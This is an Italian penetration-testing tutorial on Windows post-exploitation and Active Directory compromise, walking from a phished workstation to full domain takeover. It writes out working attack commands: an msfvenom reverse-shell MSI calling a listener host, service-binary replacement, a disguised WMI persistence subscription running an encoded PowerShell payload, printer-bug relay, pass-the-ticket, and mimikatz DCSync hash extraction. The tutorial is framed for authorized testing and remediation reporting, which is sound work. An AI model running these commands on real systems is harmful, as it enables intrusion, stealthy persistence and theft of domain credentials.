Post-sfruttamento, persistenza e movimento laterale
Escalation of Privileges: From Low to High
La post-exploitation inizia con la realtà che il punto d'appoggio iniziale è raramente sufficiente. Una shell con privilegi bassi su una workstation Windows richiede un'elevazione sistematica prima che qualsiasi persistenza significativa o movimento laterale diventi possibile. Il framework MITRE ATT&CK cataloga queste tecniche sotto Privilege Escalation (TA0004), e gli ambienti Windows presentano una ricca superficie di attacco.
WinPEAS (Windows Privilege Escalation Awesome Script) rimane il punto di partenza standard per l'enumerazione automatizzata. Il suo output codificato per colori richiede un'interpretazione attenta: il rosso indica exploitabilità immediata, il giallo segnala condizioni che richiedono verifica manuale, e il verde denota configurazioni standard. Quando WinPEAS evidenzia Check if you can modify any service registry in rosso, rivela tipicamente un'opportunità di hijacking del binario di un servizio.
Considera il service binary hijacking: quando un servizio Windows fa riferimento a un percorso eseguibile con permessi deboli, un attaccante sostituisce il binario legittimo con un payload malevolo. I seguenti comandi identificano e sfruttano questa condizione:
# Identify services with weak permissions
accesschk.exe -uwcqv "Authenticated Users" *
# Verify specific service path is writable
icacls "C:\Program Files\Vulnerable App\Service.exe"
# Replace binary and restart service
copy /Y C:\temp\reverse_shell.exe "C:\Program Files\Vulnerable App\Service.exe"
sc stop VulnService && sc start VulnService
I unquoted service paths creano un altro vettore classico. Quando un percorso di servizio contiene spazi ma manca di virgolette—come C:\Program Files\Vulnerable App\Service.exe—Windows interpreta il percorso sequenzialmente, tentando l'esecuzione a ogni confine di spazio. Un attaccante con accesso in scrittura a C:\Program Files\Vulnerable posiziona App.exe lì, intercettando l'esecuzione prima di raggiungere il binario previsto.
AlwaysInstallElevated rappresenta una misconfigurazione del registro che permette l'installazione MSI con privilegi elevati. Quando sia HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated che la corrispondente chiave HKCU sono uguali a 1, qualsiasi MSI generato dall'utente viene eseguito come SYSTEM:
# Verify vulnerability exists
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Generate malicious MSI with msfvenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 -f msi -o malicious.msi
# Execute with elevated privileges
msiexec /quiet /qn /i C:\temp\malicious.msi
Le tecniche di abuso dei token—impersonando o rubando token di accesso da processi privilegiati—completano i vettori di escalation comuni. Strumenti come Incognito (Metasploit) o chiamate dirette alle API Windows tramite TokenImpersonation sfruttano la realtà che i processi detengono frequentemente token che rappresentano livelli di privilegio più alti del contesto utente attuale.
Persistenza: Mantenere l'Accesso Sotto Sorveglianza
Con privilegi elevati, stabilire la persistenza (TA0003) diventa critico. Tuttavia, le moderne piattaforme EDR hanno reso molte tecniche tradizionali allarmantemente visibili. Le attività pianificate, le chiavi di esecuzione automatica del registro e le sottoscrizioni di eventi WMI portano ciascuna profili di rilevamento distinti.
Le sottoscrizioni di eventi WMI offrono una superiore stealth rispetto al rilevamento basato su firme operando interamente all'interno dell'infrastruttura WMI, evitando artefatti del filesystem o del registro che l'EDR monitora aggressivamente:
# Create WMI event filter for persistence
$FilterArgs = @{
EventNamespace = 'root/cimv2'
Name = 'WindowsUpdateFilter'
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"
QueryLanguage = 'WQL'
}
# Bind filter to CommandLineEventConsumer executing payload
$ConsumerArgs = @{
Name = 'WindowsUpdateConsumer'
CommandLineTemplate = 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -enc <base64_payload>'
}
# Create binding between filter and consumer
La persistenza basata sul registro rimane praticabile quando si prendono di mira posizioni meno sorvegliate. Oltre a HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, considera le sottochiavi WinlogonNotify, ShellServiceObjects o Explorer\Browser Helper Objects—ciascuna offre esecuzione con contesti di privilegio e profili di visibilità variabili.
Compromissione di Active Directory: BloodHound e Mappatura dei Percorsi di Attacco
La transizione dalla compromissione locale al controllo del dominio richiede la comprensione delle relazioni di trust basate su grafo di Active Directory. BloodHound trasforma i dati grezzi della directory in un database grafo Neo4j, rivelando percorsi di attacco invisibili agli strumenti di enumerazione lineare.
SharpHound, l'ingestor in C#, raccoglie i dati necessari da un endpoint compromesso:
# Execute SharpHound with all collection methods
.\SharpHound.exe -c All -d contoso.local --zipfilename contoso.zip
# For low-and-slow collection to avoid detection
.\SharpHound.exe -c DCOnly --stealth
Carica il ZIP risultante nell'interfaccia di BloodHound. Il vero potere emerge attraverso query Cypher personalizzate e analitiche pre-costruite. La query integrata "Shortest Paths to Domain Admin" rivela percorsi con il minimo numero di salti dal nodo attuale a obiettivi di alto valore. Tuttavia, gli engagement sofisticati richiedono esplorazione personalizzata.
I tipi di nodo critici includono:
- User nodes: punti di controllo potenziali quando compromessi
- Group nodes: relazioni transitive di appartenenza
- Computer nodes: compromissione dell'host che abilita ulteriore accesso
- ACL edges: permessi espliciti che abilitano abusi
Esempio Pratico: Da Workstation a Compromissione del Dominio
Considera un engagement realistico: punto d'appoggio iniziale come CONTOSO\jsmith sulla workstation WKSTN-42 tramite payload di phishing. La shell opera con privilegi utente standard.
Fase 1: Escalation dei Privilegi Locali
L'esecuzione di WinPEAS rivela un percorso di servizio non quotato per CustomInventoryService:
╔══════════════════╣ Unquoted Service Paths ╠══════════════════
C:\Program Files\Custom Software\Inventory Agent\service.exe
[...] Permissions: [BUILTIN\Users: W]
Il percorso C:\Program Files\Custom Software è scrivibile dagli utenti. Creiamo Inventory.exe che esegue il nostro payload, riavviamo il servizio e otteniamo NT AUTHORITY\SYSTEM.
Fase 2: Ingestione di SharpHound
Con privilegi SYSTEM, eseguiamo SharpHound con raccolta completa ed esfiltriamo l'output compresso. L'ingestione in BloodHound rivela il grafo del dominio.
Fase 3: Analisi dei Percorsi in BloodHound
Eseguendo "Shortest Paths to Domain Admin" dal nodo computer compromesso WKSTN-42$ rivela:
WKSTN-42 (Computer) → [HasSession] → BACKUP_SVC (User)
BACKUP_SVC → [MemberOf] → Server Operators (Group)
Server Operators → [GenericAll] → DC01 (Computer)
DC01 → [HasSession] → DOMAIN\Administrator
Tuttavia, una query parallela per unconstrained delegation produce un percorso più efficiente. L'account WEBSERVER$ mostra la delega non vincolata abilitata, e il nostro utente attuale jsmith detiene permessi GenericWrite contro un account di servizio applicazione web che può autenticarsi a WEBSERVER$.
Fase 4: Sfruttamento
Sfruttiamo il printer bug (MS-RPRN) per forzare l'autenticazione di WEBSERVER$ al nostro listener controllato, catturando il suo TGT tramite delega non vincolata:
# On Kali, invoke printer bug to trigger authentication
python3 printerbug.py contoso.local/jsmith:[email protected] attacker@80/desired-fake-name
# Simultaneously, capture incoming Kerberos ticket
python3 ntlmrelayx.py -t ldap://dc01.contoso.local --delegate-access --escalate-user 'attacker$'
# Export captured TGT and inject for pass-the-ticket
export KRB5CCNAME=/tmp/administrator.ccache
python3 psexec.py -k -no-pass contoso.local/[email protected]
Il TGT catturato, a causa della delega non vincolata, trasporta credenziali forwardable per qualsiasi servizio. Eseguiamo il pass-the-ticket per autenticarci come amministratore del dominio senza conoscere l'hash della password.
Fase 5: DCSync e Compromissione Completa del Dominio
Con accesso amministrativo al controller di dominio, eseguiamo DCSync per replicare tutti gli hash del dominio:
# Extract all hashes using mimikatz DCSync
lsadump::dcsync /domain:contoso.local /all /csv
Realtà del Rilevamento e Metodologia del Tester
Le moderne piattaforme EDR rilevano la maggior parte delle tecniche descritte. L'iniezione di processi, l'accesso a LSASS, il dump delle credenziali e il traffico Kerberos anomalo generano alert ad alta fedeltà. Questa capacità di rilevamento modella fondamentalmente la metodologia.
Per i tester, questo significa:
- Living-off-the-land binaries (LOLBins) riducono il rilevamento basato su firme, ma le analitiche comportamentali segnalano comunque catene di esecuzione anomale
- I punti ciechi dell'EDR esistono nelle utility native e nei pattern amministrativi attesi—comprendere l'attività di baseline normale diventa essenziale
- Considerazioni di timing e frequenza: l'esecuzione aggressiva attiva risposte automatiche; una progressione misurata e paziente imita l'amministrazione legittima
Il valore dell'engagement risiede non nella novità della tecnica ma nel dimostrare impatto aziendale: dall'email di phishing al controllo del dominio, documentando ogni fallimento di controllo che ha abilitato la progressione. I percorsi visuali di BloodHound traducono la compromissione tecnica in rappresentazione del rischio comprensibile per gli esecutivi—la delega non vincolata che ha permesso la cattura del ticket, i permessi eccessivi che hanno abilitato l'abuso di delega, la copertura EDR mancante che ha ritardato il rilevamento.
Una documentazione efficace della post-exploitation articola non semplicemente cosa è stato compromesso, ma quali decisioni organizzative hanno creato il percorso, abilitando una remediation prioritaria che riduce genuinamente l'esposizione futura.